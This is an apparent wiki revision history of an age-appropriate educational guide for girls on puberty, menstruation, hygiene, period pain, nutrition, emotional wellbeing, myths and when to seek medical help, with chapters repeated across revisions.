wellbeing. === Exercise is not forbidden during your period === You can exercise while menstruating if you feel comfortable. You might enjoy: * walking, * stretching, * dancing, * swimming, * cycling, * playing games, * or participating in sports. If you are experiencing significant pain or feel unwell, it is okay to rest. Listening to your body is important. ---- = Chapter 7: Feelings, Confidence, and Emotional Wellbeing = Growing up involves more than physical changes. Your feelings can change too. You might sometimes feel: * happy, * confident, * embarrassed, * nervous, * irritated, * sad, * excited, * or confused. Hormonal changes can influence mood, but emotions also come from school, friendships, family relationships, stress, and many other parts of life. === You are not “being dramatic” === Sometimes people dismiss girls' feelings, especially around menstruation. Your feelings are real. That does not mean every feeling must control what you do, but it does mean that you deserve to be heard. === Talk to someone === If something is worrying you, speak to someone you trust. You might say:<blockquote>“I have been feeling different lately, and I want to talk about it.”</blockquote>You do not have to explain everything perfectly. Sometimes simply starting the conversation is enough. === Protect your self-confidence === Your body will change. Your weight may change. Your shape may change. Your skin may change. None of these changes determine your worth. Try not to compare your body with photographs on social media or with other girls. People develop differently. === Be kind to yourself === Imagine that your best friend was worried because her body was changing. You probably would not tell her that she was ugly, strange, or failing. You would probably encourage her. Give yourself the same kindness. ---- = Chapter 8: Period Myths, Facts, and Questions = For generations, people have created stories and beliefs about menstruation. Some are harmless misunderstandings. Others can cause fear, shame, or discrimination. Let's look at a few common questions. === Myth: Period blood is dirty === '''Fact:''' Menstrual blood is a normal mixture of blood and tissue from the uterus. Having a period does not make someone dirty. === Myth: You cannot bathe during your period === '''Fact:''' You can bathe or shower during menstruation. Good hygiene can help you feel comfortable and fresh. === Myth: Girls should stop exercising during their periods === '''Fact:''' Physical activity is generally safe during menstruation. Some girls even find that gentle exercise helps them feel better. === Myth: Every girl has a 28-day cycle === '''Fact:''' Menstrual cycles vary. A 28-day cycle is an average example, not a rule that every body must follow. === Myth: Talking about periods is shameful === '''Fact:''' Menstruation is a normal health topic. Being able to discuss it openly can help girls get accurate information and appropriate care. === Myth: You should hide your period from everyone === '''Fact:''' Privacy is your choice, but secrecy should never prevent you from getting help. If you need a pad, pain relief, medical advice, or emotional support, it is okay to ask. === Questions are good === Never be afraid to ask questions about your body. A question does not make you silly. It means you are learning. ---- = Chapter 9: School, Family, Friends, and Talking About Periods = A period should not prevent a girl from participating fully in education and community life. Yet menstruation can sometimes make school difficult, especially when girls lack menstrual products, private toilets, clean water, or supportive adults. === Keep an emergency plan === Before leaving home, check that you have the supplies you need. If you think your period might arrive while you are at school, carry a pad in your bag. You can also talk with a trusted teacher about where you can get help if necessary. === What if a friend starts her period? === Be kind. If she looks worried, you can quietly ask:<blockquote>“Are you okay?”</blockquote>You might offer her a pad if you have one. There is no need to laugh or make jokes at her expense. === Supporting one another === Girls can make menstruation easier for one another by sharing information and treating each other respectfully. But remember: you should never be pressured into giving away something you need for yourself. === Talking with parents or guardians === Some families find conversations about menstruation uncomfortable. If you are nervous, start with a simple question. For example:<blockquote>“Can we talk about periods? I have some questions.”</blockquote>You can also ask a healthcare professional, teacher, school nurse, or another trusted adult. === Boys should learn too === Menstrual health is not only a girls' topic. Boys and men can learn about menstruation so they understand what girls experience and can treat them respectfully. Understanding creates empathy. Ridicule creates shame. Everyone can choose respect. ---- = Chapter 10: Knowing When to Ask for Help = Learning about menstruation does not mean you have to solve every problem yourself. Sometimes your body needs professional attention. Speak with a trusted adult and seek medical advice if you experience problems such as: * very severe or worsening period pain, * bleeding that seems unusually heavy, * periods that regularly interfere with normal activities, * fainting or severe weakness, * symptoms that concern you, * or a major change in your usual menstrual pattern. If you have started menstruating and are worried because your periods are very irregular, a healthcare professional can help you understand what may be happening. === Your body belongs to you === There is another important part of wellbeing that has nothing to do with periods themselves: '''personal safety'''. You have the right to privacy and to have your body treated with respect. If anyone touches you in a way that makes you uncomfortable, pressures you to keep an unsafe secret, or asks you to do something involving your body that you do not want to do, tell a trusted adult. If the first person does not listen, tell another trusted adult. Keep telling safe people until someone helps you. === You deserve accurate information === There is a lot of information about menstruation on the internet. Some of it is useful. Some of it is incorrect. When you have questions about your health, look for trustworthy sources such as healthcare professionals, established health organizations, school health services, and reliable educational materials. === A final message to every young girl === Your period is one part of your growing body—not the definition of who you are. You are a student. A daughter. A sister. A friend. A dreamer. A learner. A future professional, leader, artist, athlete, scientist, teacher, farmer, entrepreneur, parent—or whatever you choose to become. Menstruation is simply one of the natural things your body may experience as you grow. So learn about it. Prepare for it. Take care of yourself. Ask questions. Ask for help when you need it. And never let embarrassment stop you from caring for your health. '''Your body deserves knowledge.''' '''Your health deserves care.''' '''Your questions deserve answers.''' '''And you deserve respect.''' ---- = A Young Girl's Period Checklist = Before your period: ☐ Keep menstrual products available. ☐ Carry an emergency pad when appropriate. ☐ Keep spare underwear if possible. ☐ Know whom you can ask for help at school or home. ☐ Track your menstrual cycle if you find it useful. During your period: ☐ Change menstrual products regularly. ☐ Wash regularly and keep the genital area clean. ☐ Drink enough water. ☐ Eat nourishing foods. ☐ Rest when you need to. ☐ Stay active if you feel comfortable. ☐ Ask for help if symptoms are severe or worrying. Always remember: ☐ My period is normal. ☐ I am not dirty because I menstruate. ☐ My body does not have to look like anyone else's. ☐ I can ask questions. ☐ I can talk to a trusted adult. ☐ I deserve dignity and respect. 0v9b0tnrhvqwokuhbyk8a9ykagqoa4v 4670706 4670704 2026-09-17T20:06:01Z Sisterian 3123918 Added a media file 4670706 wikitext text/x-wiki == A YOUNG GIRL'S GUIDE TO MENSTRUAL HEALTH AND WELLBEING. == '''Subtitle:''' ''Understanding Your Body, Caring for Yourself, and Growing with Confidence.'' == Target Reading Level == '''Primary reading level:''' Upper primary to secondary school level. '''Target age:''' Approximately '''10–19 years''' '''Primary audience:''' * Girls approaching puberty * Girls who have recently started menstruating * Adolescent girls seeking more information about their bodies '''Secondary audience:''' * Parents and caregivers * Teachers * Girls' club mentors * Youth workers * Health educators === Book Summary === ''A Young Girl’s Guide to Menstrual Health and Well-Being'' is an informative, practical, and empowering guide designed to help young girls understand menstruation and the changes that happen to their bodies during puberty. It provides simple and age-appropriate information about the menstrual cycle, menstrual hygiene, menstrual products, period pain, nutrition, physical activity, emotional wellbeing, and common menstrual health concerns. The book also addresses common myths, misconceptions, embarrassment, and stigma surrounding menstruation. Through practical advice, relatable examples, activities, reflection questions, and myth-versus-fact sections, girls are encouraged to understand their bodies, practice healthy menstrual hygiene, ask questions, and seek support when needed. It also highlights the important role of parents, teachers, mentors, and communities in creating safe and supportive environments where girls can manage their periods with dignity and confidence. Ultimately, the book aims to help every girl understand that menstruation is a normal part of growing up and that having a period should not prevent her from going to school, participating in activities, pursuing her dreams, or feeling confident about herself. Absolutely. I can write it as a '''warm, age-appropriate, easy-to-read educational book''', using reassuring language rather than sounding like a medical textbook. I’ll keep the focus on puberty, menstruation, hygiene, emotions, nutrition, myths, safety, dignity, and when to seek help. = ''A Young Girl’s Guide to Menstrual Health and Wellbeing'' = == A friendly, practical guide to understanding your body, caring for yourself, and growing with confidence == ---- == Table of Contents == # '''Growing Up: Understanding the Changes in Your Body''' # '''What Is a Menstrual Period?''' # '''Your First Period: What to Expect''' # '''Taking Care of Yourself During Your Period''' # '''Period Pain, Tiredness, and Other Symptoms''' # '''Food, Water, Sleep, and Exercise''' # '''Feelings, Confidence, and Emotional Wellbeing''' # '''Period Myths, Facts, and Questions''' # '''School, Family, Friends, and Talking About Periods''' # '''Knowing When to Ask for Help''' ---- = Introduction = Growing up is a journey filled with many new experiences. Your body changes, your feelings change, and you begin to discover more about who you are. Some changes may feel exciting, while others may leave you with questions. One of the biggest changes many girls experience during puberty is getting their first menstrual period. For some girls, the first period comes as a surprise. For others, it is something they have been waiting for and wondering about. You may feel excited, nervous, embarrassed, confused, or even a little frightened. Whatever you feel, remember this: '''you are not alone, and there is nothing wrong with you.''' Menstruation is a natural part of growing up. It is not something dirty or shameful. It is simply one of the ways your body changes as you move from childhood toward adulthood. But knowing that periods are normal does not mean you automatically know what to expect. You may have questions such as: ''What will my first period feel like?'' ''How will I know when it is coming?'' ''What should I use when I am bleeding?'' ''Why does my stomach hurt?'' ''Can I still go to school and play sports?'' ''What should I eat?'' ''What if my period comes unexpectedly?'' ''Who can I talk to when I am worried?'' These are all good questions. This book was written to help you find clear, simple, and honest answers. It will guide you through the changes your body may experience, explain what menstruation is, and show you practical ways to care for yourself before, during, and after your period. You will also learn about menstrual hygiene, period pain, food and nutrition, exercise, sleep, emotions, common myths, and when it is important to ask a trusted adult or healthcare professional for help. Most importantly, this book is about '''confidence'''. You should never feel ashamed because you have a period. You should not have to hide your needs or suffer quietly because you are afraid to ask questions. Having accurate information can help you make good choices, understand your body, and feel more comfortable talking about your health. Every girl's experience is different. Your first period may not happen at the same age as your friend's. Your cycle may not be exactly the same as someone else's. You may have pain when another girl does not. Your body has its own timetable, and that is okay. So, as you read these pages, be curious. Ask questions. Talk to people you trust. Take care of yourself. And remember that growing up is not about becoming perfect—it is about learning, changing, and discovering yourself one step at a time. '''Your period does not make you less capable.''' '''Your changing body is nothing to be ashamed of.''' '''Your health matters.''' '''Your feelings matter.''' '''And you deserve to grow up feeling informed, confident, safe, and respected.''' Welcome to ''A Young Girl’s Guide to Menstrual Health and Wellbeing''. Let’s begin this journey together. = Chapter 1: Growing Up: Understanding the Changes in Your Body = Growing up is an exciting journey. It is also a time when your body begins to change in many ways. You may notice that you are becoming taller. Your body shape may change. You may begin to grow hair under your arms and around your private parts. Your skin may become oilier, and you might sometimes develop spots or pimples. You may also experience new feelings. One day you might feel confident and happy; another day you might feel shy, worried, or easily annoyed. All of these changes are part of '''puberty'''. Puberty is the stage when a child's body gradually develops into an adult body. It does not happen at exactly the same age for everyone. Some girls begin puberty earlier, while others begin later. This is normal. === Your body has its own timetable === It can be tempting to compare yourself with friends. You might wonder: ''“Why haven't I started my period yet?”'' Or: ''“Why did my friend start before me?”'' Remember that everyone's body develops at its own pace. There is no prize for being the first person in your class to get a period, and there is nothing wrong with being one of the last. Your body is not a race. === Hormones: the body's messengers === During puberty, your body produces more hormones. Hormones are chemical messengers that help control many processes in the body and the two hormones that play important roles in the menstrual cycle are '''oestrogen''' and '''progesterone'''. They help prepare the reproductive system for adulthood and help control the menstrual cycle. You do not need to memorize every scientific detail to understand your period. What matters most is knowing that your body is changing because it is developing normally. === Your reproductive system === [[File:Scheme female reproductive system-en.svg|alt=The Female Reproductive System|thumb|The Female Reproductive System]] Inside your body are organs that are part of the female reproductive system. These include: * the ovaries, * fallopian tubes, * uterus, * cervix, and * vagina. The '''ovaries''' contain eggs and produce hormones. The '''uterus''' is a muscular organ where a pregnancy can develop. The '''vagina''' is the passage connecting the uterus and cervix to the outside of the body. During each menstrual cycle, the uterus prepares a soft lining. If pregnancy does not occur, this lining leaves the body as menstrual blood. That is what we call a '''period'''. === A message worth remembering === Your changing body is not something to be ashamed of. It deserves care, respect, and kindness. '''Your body is growing—and you are learning how to care for it.''' ---- = Chapter 2: What Is a Menstrual Period? = A menstrual period is a normal part of growing up. Every month or so, the lining of the uterus thickens. The body does this as part of its preparation for a possible pregnancy. If pregnancy does not happen, the body no longer needs that extra lining. It breaks down and leaves the body through the vagina. This is called '''menstruation''', or simply '''having a period'''. === What does period blood look like? === Period blood is not always bright red. It can appear: * bright red, * dark red, * brownish, or * pinkish. The colour can change during a period. Blood may look darker when it has taken longer to leave the body. Small clots can also occur, especially during heavier bleeding. === How long does a period last? === A period commonly lasts several days, although there is natural variation. Young people who have only recently started menstruating may have cycles that are irregular. A period might come earlier or later than expected. This can happen because the hormones controlling the menstrual cycle are still settling into a pattern. === What is the menstrual cycle? === The menstrual cycle is the series of changes that happen in the reproductive system between periods. A simple way to think about it is: '''Period → body prepares → ovulation may occur → body prepares again → next period''' The length of the cycle varies from person to person. You may hear people say that every woman has a 28-day cycle. A 28-day cycle is often used as an example, but real cycles are not identical for everyone. === Why do periods happen? === Periods are not a disease. They are not dirty. They are not a punishment. They are a normal biological process. Understanding this can make menstruation less frightening. === What if my period is irregular? === Irregular periods can be common during the first few years after menstruation begins. However, unusual or very concerning bleeding should be discussed with a healthcare professional. Learning what is normal for ''your'' body is one of the most useful things you can do. ---- = Chapter 3: Your First Period: What to Expect = Your first period is sometimes called '''menarche'''. It can arrive when you are at home, at school, visiting relatives, travelling, or somewhere else entirely. Some girls are prepared for it. Others are completely surprised. Both experiences are normal. === Before your first period === Some girls notice changes before their first period, such as: * breast development, * growth of body hair, * increased sweating, * changes in skin, * vaginal discharge, and * emotional changes. However, these signs do not provide an exact timetable. Your first period may arrive when you least expect it. === What should you do? === If you notice blood in your underwear, try not to panic. Find a trusted adult, such as: * your mother, * father or guardian, * older sister, * teacher, * school nurse, * healthcare worker, or * another trusted person. You can ask for a sanitary pad or another menstrual product that you are comfortable using. === Preparing a period kit === It can be helpful to keep a small emergency kit in your schoolbag. It might contain: * two or three sanitary pads, * spare underwear, * tissues or toilet paper, * a small bag for carrying used products until they can be disposed of properly, * and, if you like, a small pair of shorts or skirt. You do not need a huge bag. The purpose is simply to know that you are prepared. === If your first period happens at school === You are not the first girl this has happened to, and you certainly will not be the last. If your clothes become stained, try to find a trusted teacher or another responsible adult. You might say:<blockquote>“I think I have started my period. Could you please help me?”</blockquote>There is no need to feel embarrassed. Menstruation is a normal bodily function. === Your first period may not be predictable === At first, your periods may not follow a regular schedule. Write down the date when bleeding begins. Over time, tracking your periods can help you understand your own pattern. A simple calendar is enough. ---- = Chapter 4: Taking Care of Yourself During Your Period = Menstrual hygiene is about keeping yourself comfortable, clean, and healthy. There are different menstrual products, and different people prefer different options. === Sanitary pads === Pads are worn inside underwear and absorb menstrual blood. They come in different sizes and absorbencies. Choose a product that fits comfortably and provides enough protection for your flow. Change your pad regularly, and change it sooner if it becomes wet, uncomfortable, or full. === Tampons and menstrual cups === Tampons and menstrual cups are inserted into the vagina. They can be safe when used correctly, according to the product instructions. However, younger girls may prefer pads, especially when they are first learning about menstruation. There is no requirement to use one particular product. === Reusable menstrual products === Reusable cloth pads and other reusable products can be useful where appropriate. They need to be washed properly and dried thoroughly before being used again. Cleanliness is important. === Washing during your period === You can bathe or shower during your period. In fact, regular washing can help you feel fresh and comfortable. Wash the outside of your genital area gently with clean water. Avoid putting soap, perfume, or other products inside the vagina. The vagina naturally cleans itself. === Changing underwear === Change underwear regularly, particularly if it becomes wet or stained. Cotton or other breathable materials may feel comfortable. === Disposing of used products === Used disposable pads and tampons should be wrapped and placed in an appropriate waste bin. They should generally '''not be flushed down the toilet''', because they can block plumbing. Where sanitation systems or waste-disposal arrangements are different, follow local guidance. === Menstrual hygiene is about dignity === Every girl deserves access to safe menstrual products, clean water, private toilets, and accurate information. No girl should be made to feel ashamed because she has a period. ---- = Chapter 5: Period Pain, Tiredness, and Other Symptoms = Periods can feel different from person to person. Some girls experience almost no discomfort. Others may experience: * cramps, * lower-back pain, * headaches, * tiredness, * bloating, * breast tenderness, * changes in appetite, * nausea, or * mood changes. === Why do cramps happen? === The uterus contracts during menstruation. These contractions help the uterus release its lining. Some girls feel these contractions as cramps. === Simple ways to feel more comfortable === You might find relief from: * resting, * gentle exercise, * stretching, * a warm bath, * a warm compress or hot-water bottle wrapped safely, * drinking enough water, and * getting enough sleep. Some people also use pain-relieving medicine. If you are considering medicine, follow the instructions on the package and ask a parent, guardian, pharmacist, or healthcare professional if you are unsure whether it is appropriate for you. === You do not have to suffer silently === There is a difference between ordinary period discomfort and pain that is severe or interferes significantly with everyday life. If your period pain regularly prevents you from going to school, sleeping, eating, or doing normal activities, tell a trusted adult and seek medical advice. Pain deserves to be taken seriously. === Heavy bleeding === Periods can sometimes be heavier than expected. Tell a trusted adult and seek medical advice if you are frequently soaking through pads very quickly, bleeding for an unusually long time, feeling faint or extremely weak, or otherwise worried about the amount of blood you are losing. You deserve help. ---- = Chapter 6: Food, Water, Sleep, and Exercise = Taking care of your body is important every day, not only during your period. === Eat nourishing foods === Your body needs energy and nutrients while it grows. Try to eat a variety of foods, including: * vegetables, * fruits, * whole grains, * beans and other legumes, * eggs, * fish or other protein foods, * meat where available, * milk or other calcium-rich foods, * nuts and seeds. Iron is especially important because menstruating girls lose some iron through menstrual blood. Iron-rich foods include: * beans, * lentils, * dark green leafy vegetables, * meat, * fish, * eggs, * and iron-fortified foods. Eating vitamin-C-rich foods alongside plant sources of iron can help the body absorb iron. === Drink water === Water helps your body function properly. You may notice that drinking enough water helps you feel better, particularly when you are tired or active. Carry a clean water bottle when practical. === Sleep matters === Growing bodies need sleep. Try to establish a regular bedtime and give yourself enough time to rest. A good night's sleep can support concentration, mood, learning, and physical wellbeing. === Exercise is not forbidden during your period === You can exercise while menstruating if you feel comfortable. You might enjoy: * walking, * stretching, * dancing, * swimming, * cycling, * playing games, * or participating in sports. If you are experiencing significant pain or feel unwell, it is okay to rest. Listening to your body is important. ---- = Chapter 7: Feelings, Confidence, and Emotional Wellbeing = Growing up involves more than physical changes. Your feelings can change too. You might sometimes feel: * happy, * confident, * embarrassed, * nervous, * irritated, * sad, * excited, * or confused. Hormonal changes can influence mood, but emotions also come from school, friendships, family relationships, stress, and many other parts of life. === You are not “being dramatic” === Sometimes people dismiss girls' feelings, especially around menstruation. Your feelings are real. That does not mean every feeling must control what you do, but it does mean that you deserve to be heard. === Talk to someone === If something is worrying you, speak to someone you trust. You might say:<blockquote>“I have been feeling different lately, and I want to talk about it.”</blockquote>You do not have to explain everything perfectly. Sometimes simply starting the conversation is enough. === Protect your self-confidence === Your body will change. Your weight may change. Your shape may change. Your skin may change. None of these changes determine your worth. Try not to compare your body with photographs on social media or with other girls. People develop differently. === Be kind to yourself === Imagine that your best friend was worried because her body was changing. You probably would not tell her that she was ugly, strange, or failing. You would probably encourage her. Give yourself the same kindness. ---- = Chapter 8: Period Myths, Facts, and Questions = For generations, people have created stories and beliefs about menstruation. Some are harmless misunderstandings. Others can cause fear, shame, or discrimination. Let's look at a few common questions. === Myth: Period blood is dirty === '''Fact:''' Menstrual blood is a normal mixture of blood and tissue from the uterus. Having a period does not make someone dirty. === Myth: You cannot bathe during your period === '''Fact:''' You can bathe or shower during menstruation. Good hygiene can help you feel comfortable and fresh. === Myth: Girls should stop exercising during their periods === '''Fact:''' Physical activity is generally safe during menstruation. Some girls even find that gentle exercise helps them feel better. === Myth: Every girl has a 28-day cycle === '''Fact:''' Menstrual cycles vary. A 28-day cycle is an average example, not a rule that every body must follow. === Myth: Talking about periods is shameful === '''Fact:''' Menstruation is a normal health topic. Being able to discuss it openly can help girls get accurate information and appropriate care. === Myth: You should hide your period from everyone === '''Fact:''' Privacy is your choice, but secrecy should never prevent you from getting help. If you need a pad, pain relief, medical advice, or emotional support, it is okay to ask. === Questions are good === Never be afraid to ask questions about your body. A question does not make you silly. It means you are learning. ---- = Chapter 9: School, Family, Friends, and Talking About Periods = A period should not prevent a girl from participating fully in education and community life. Yet menstruation can sometimes make school difficult, especially when girls lack menstrual products, private toilets, clean water, or supportive adults. === Keep an emergency plan === Before leaving home, check that you have the supplies you need. If you think your period might arrive while you are at school, carry a pad in your bag. You can also talk with a trusted teacher about where you can get help if necessary. === What if a friend starts her period? === Be kind. If she looks worried, you can quietly ask:<blockquote>“Are you okay?”</blockquote>You might offer her a pad if you have one. There is no need to laugh or make jokes at her expense. === Supporting one another === Girls can make menstruation easier for one another by sharing information and treating each other respectfully. But remember: you should never be pressured into giving away something you need for yourself. === Talking with parents or guardians === Some families find conversations about menstruation uncomfortable. If you are nervous, start with a simple question. For example:<blockquote>“Can we talk about periods? I have some questions.”</blockquote>You can also ask a healthcare professional, teacher, school nurse, or another trusted adult. === Boys should learn too === Menstrual health is not only a girls' topic. Boys and men can learn about menstruation so they understand what girls experience and can treat them respectfully. Understanding creates empathy. Ridicule creates shame. Everyone can choose respect. ---- = Chapter 10: Knowing When to Ask for Help = Learning about menstruation does not mean you have to solve every problem yourself. Sometimes your body needs professional attention. Speak with a trusted adult and seek medical advice if you experience problems such as: * very severe or worsening period pain, * bleeding that seems unusually heavy, * periods that regularly interfere with normal activities, * fainting or severe weakness, * symptoms that concern you, * or a major change in your usual menstrual pattern. If you have started menstruating and are worried because your periods are very irregular, a healthcare professional can help you understand what may be happening. === Your body belongs to you === There is another important part of wellbeing that has nothing to do with periods themselves: '''personal safety'''. You have the right to privacy and to have your body treated with respect. If anyone touches you in a way that makes you uncomfortable, pressures you to keep an unsafe secret, or asks you to do something involving your body that you do not want to do, tell a trusted adult. If the first person does not listen, tell another trusted adult. Keep telling safe people until someone helps you. === You deserve accurate information === There is a lot of information about menstruation on the internet. Some of it is useful. Some of it is incorrect. When you have questions about your health, look for trustworthy sources such as healthcare professionals, established health organizations, school health services, and reliable educational materials. === A final message to every young girl === Your period is one part of your growing body—not the definition of who you are. You are a student. A daughter. A sister. A friend. A dreamer. A learner. A future professional, leader, artist, athlete, scientist, teacher, farmer, entrepreneur, parent—or whatever you choose to become. Menstruation is simply one of the natural things your body may experience as you grow. So learn about it. Prepare for it. Take care of yourself. Ask questions. Ask for help when you need it. And never let embarrassment stop you from caring for your health. '''Your body deserves knowledge.''' '''Your health deserves care.''' '''Your questions deserve answers.''' '''And you deserve respect.''' ---- = A Young Girl's Period Checklist = Before your period: ☐ Keep menstrual products available. ☐ Carry an emergency pad when appropriate. ☐ Keep spare underwear if possible. ☐ Know whom you can ask for help at school or home. ☐ Track your menstrual cycle if you find it useful. During your period: ☐ Change menstrual products regularly. ☐ Wash regularly and keep the genital area clean. ☐ Drink enough water. ☐ Eat nourishing foods. ☐ Rest when you need to. ☐ Stay active if you feel comfortable. ☐ Ask for help if symptoms are severe or worrying. Always remember: ☐ My period is normal. ☐ I am not dirty because I menstruate. ☐ My body does not have to look like anyone else's. ☐ I can ask questions. ☐ I can talk to a trusted adult. ☐ I deserve dignity and respect. ijfdzva1fb5n0s93ddqqemihxw2xc5h 4670708 4670706 2026-09-17T20:20:34Z Sisterian 3123918 Added references 4670708 wikitext text/x-wiki == A YOUNG GIRL'S GUIDE TO MENSTRUAL HEALTH AND WELLBEING. == '''Subtitle:''' ''Understanding Your Body, Caring for Yourself, and Growing with Confidence.'' == Target Reading Level == '''Primary reading level:''' Upper primary to secondary school level. '''Target age:''' Approximately '''10–19 years''' '''Primary audience:''' * Girls approaching puberty * Girls who have recently started menstruating * Adolescent girls seeking more information about their bodies '''Secondary audience:''' * Parents and caregivers * Teachers * Girls' club mentors * Youth workers * Health educators === Book Summary === ''A Young Girl’s Guide to Menstrual Health and Well-Being'' is an informative, practical, and empowering guide designed to help young girls understand menstruation and the changes that happen to their bodies during puberty. It provides simple and age-appropriate information about the menstrual cycle, menstrual hygiene, menstrual products, period pain, nutrition, physical activity, emotional wellbeing, and common menstrual health concerns. The book also addresses common myths, misconceptions, embarrassment, and stigma surrounding menstruation. Through practical advice, relatable examples, activities, reflection questions, and myth-versus-fact sections, girls are encouraged to understand their bodies, practice healthy menstrual hygiene, ask questions, and seek support when needed. It also highlights the important role of parents, teachers, mentors, and communities in creating safe and supportive environments where girls can manage their periods with dignity and confidence. Ultimately, the book aims to help every girl understand that menstruation is a normal part of growing up and that having a period should not prevent her from going to school, participating in activities, pursuing her dreams, or feeling confident about herself. Absolutely. I can write it as a '''warm, age-appropriate, easy-to-read educational book''', using reassuring language rather than sounding like a medical textbook. I’ll keep the focus on puberty, menstruation, hygiene, emotions, nutrition, myths, safety, dignity, and when to seek help. = ''A Young Girl’s Guide to Menstrual Health and Wellbeing'' = == A friendly, practical guide to understanding your body, caring for yourself, and growing with confidence == ---- == Table of Contents == # '''Growing Up: Understanding the Changes in Your Body''' # '''What Is a Menstrual Period?''' # '''Your First Period: What to Expect''' # '''Taking Care of Yourself During Your Period''' # '''Period Pain, Tiredness, and Other Symptoms''' # '''Food, Water, Sleep, and Exercise''' # '''Feelings, Confidence, and Emotional Wellbeing''' # '''Period Myths, Facts, and Questions''' # '''School, Family, Friends, and Talking About Periods''' # '''Knowing When to Ask for Help''' ---- = Introduction = Growing up is a journey filled with many new experiences. Your body changes, your feelings change, and you begin to discover more about who you are. Some changes may feel exciting, while others may leave you with questions. One of the biggest changes many girls experience during puberty is getting their first menstrual period. For some girls, the first period comes as a surprise. For others, it is something they have been waiting for and wondering about. You may feel excited, nervous, embarrassed, confused, or even a little frightened. Whatever you feel, remember this: '''you are not alone, and there is nothing wrong with you.''' Menstruation is a natural part of growing up. It is not something dirty or shameful. It is simply one of the ways your body changes as you move from childhood toward adulthood. But knowing that periods are normal does not mean you automatically know what to expect. You may have questions such as: ''What will my first period feel like?'' ''How will I know when it is coming?'' ''What should I use when I am bleeding?'' ''Why does my stomach hurt?'' ''Can I still go to school and play sports?'' ''What should I eat?'' ''What if my period comes unexpectedly?'' ''Who can I talk to when I am worried?'' These are all good questions. This book was written to help you find clear, simple, and honest answers. It will guide you through the changes your body may experience, explain what menstruation is, and show you practical ways to care for yourself before, during, and after your period. You will also learn about menstrual hygiene, period pain, food and nutrition, exercise, sleep, emotions, common myths, and when it is important to ask a trusted adult or healthcare professional for help. Most importantly, this book is about '''confidence'''. You should never feel ashamed because you have a period. You should not have to hide your needs or suffer quietly because you are afraid to ask questions. Having accurate information can help you make good choices, understand your body, and feel more comfortable talking about your health. Every girl's experience is different. Your first period may not happen at the same age as your friend's. Your cycle may not be exactly the same as someone else's. You may have pain when another girl does not. Your body has its own timetable, and that is okay. So, as you read these pages, be curious. Ask questions. Talk to people you trust. Take care of yourself. And remember that growing up is not about becoming perfect—it is about learning, changing, and discovering yourself one step at a time. '''Your period does not make you less capable.''' '''Your changing body is nothing to be ashamed of.''' '''Your health matters.''' '''Your feelings matter.''' '''And you deserve to grow up feeling informed, confident, safe, and respected.''' Welcome to ''A Young Girl’s Guide to Menstrual Health and Wellbeing''. Let’s begin this journey together. = Chapter 1: Growing Up: Understanding the Changes in Your Body = Growing up is an exciting journey. It is also a time when your body begins to change in many ways. You may notice that you are becoming taller. Your body shape may change. You may begin to grow hair under your arms and around your private parts. Your skin may become oilier, and you might sometimes develop spots or pimples. You may also experience new feelings. One day you might feel confident and happy; another day you might feel shy, worried, or easily annoyed. All of these changes are part of '''[[wikipedia:Puberty|puberty]]'''. Puberty is the stage when a child's body gradually develops into an adult body. It does not happen at exactly the same age for everyone. Some girls begin puberty earlier, while others begin later. This is normal. === Your body has its own timetable === It can be tempting to compare yourself with friends. You might wonder: ''“Why haven't I started my period yet?”'' Or: ''“Why did my friend start before me?”'' Remember that everyone's body develops at its own pace. There is no prize for being the first person in your class to get a period, and there is nothing wrong with being one of the last. Your body is not a race. === Hormones: the body's messengers === During puberty, your body produces more hormones. Hormones are chemical messengers that help control many processes in the body and the two hormones that play important roles in the menstrual cycle are '''[[wikipedia:Estrogen|Estrogen]]''' and '''[[wikipedia:Progesterone|progesterone]]'''. Both are <mark>sex hormone</mark><mark>s responsible for the development and regulation of the female reproductive system.</mark> You do not need to memorize every scientific detail to understand your period. What matters most is knowing that your body is changing because it is developing normally. === The female reproductive system === [[File:Scheme female reproductive system-en.svg|alt=The Female Reproductive System|thumb|The Female Reproductive System]] Inside your body are organs that are part of the female reproductive system. These include: * the ovaries, * fallopian tubes, * uterus, * cervix, and * vagina. The '''ovaries''' contain eggs and produce hormones. The '''uterus''' is a muscular organ where a pregnancy can develop. The '''vagina''' is the passage connecting the uterus and cervix to the outside of the body. During each menstrual cycle, the uterus prepares a soft lining. If pregnancy does not occur, this lining leaves the body as menstrual blood. That is what we call a '''period'''. === A message worth remembering === Your changing body is not something to be ashamed of. It deserves care, respect, and kindness. '''Your body is growing—and you are learning how to care for it.''' ---- = Chapter 2: What Is a Menstrual Period? = A menstrual period is a normal part of growing up. Every month or so, the lining of the uterus thickens. The body does this as part of its preparation for a possible pregnancy. If pregnancy does not happen, the body no longer needs that extra lining. It breaks down and leaves the body through the vagina. This is called '''menstruation''', or simply '''having a period'''. === What does period blood look like? === Period blood is not always bright red. It can appear: * bright red, * dark red, * brownish, or * pinkish. The colour can change during a period. Blood may look darker when it has taken longer to leave the body. Small clots can also occur, especially during heavier bleeding. === How long does a period last? === A period commonly lasts several days, although there is natural variation. Young people who have only recently started menstruating may have cycles that are irregular. A period might come earlier or later than expected. This can happen because the hormones controlling the menstrual cycle are still settling into a pattern. === What is the menstrual cycle? === The menstrual cycle is the series of changes that happen in the reproductive system between periods. A simple way to think about it is: '''Period → body prepares → ovulation may occur → body prepares again → next period''' The length of the cycle varies from person to person. You may hear people say that every woman has a 28-day cycle. A 28-day cycle is often used as an example, but real cycles are not identical for everyone. === Why do periods happen? === Periods are not a disease. They are not dirty. They are not a punishment. They are a normal biological process. Understanding this can make menstruation less frightening. === What if my period is irregular? === Irregular periods can be common during the first few years after menstruation begins. However, unusual or very concerning bleeding should be discussed with a healthcare professional. Learning what is normal for ''your'' body is one of the most useful things you can do. ---- = Chapter 3: Your First Period: What to Expect = Your first period is sometimes called '''menarche'''. It can arrive when you are at home, at school, visiting relatives, travelling, or somewhere else entirely. Some girls are prepared for it. Others are completely surprised. Both experiences are normal. === Before your first period === Some girls notice changes before their first period, such as: * breast development, * growth of body hair, * increased sweating, * changes in skin, * vaginal discharge, and * emotional changes. However, these signs do not provide an exact timetable. Your first period may arrive when you least expect it. === What should you do? === If you notice blood in your underwear, try not to panic. Find a trusted adult, such as: * your mother, * father or guardian, * older sister, * teacher, * school nurse, * healthcare worker, or * another trusted person. You can ask for a sanitary pad or another menstrual product that you are comfortable using. === Preparing a period kit === It can be helpful to keep a small emergency kit in your schoolbag. It might contain: * two or three sanitary pads, * spare underwear, * tissues or toilet paper, * a small bag for carrying used products until they can be disposed of properly, * and, if you like, a small pair of shorts or skirt. You do not need a huge bag. The purpose is simply to know that you are prepared. === If your first period happens at school === You are not the first girl this has happened to, and you certainly will not be the last. If your clothes become stained, try to find a trusted teacher or another responsible 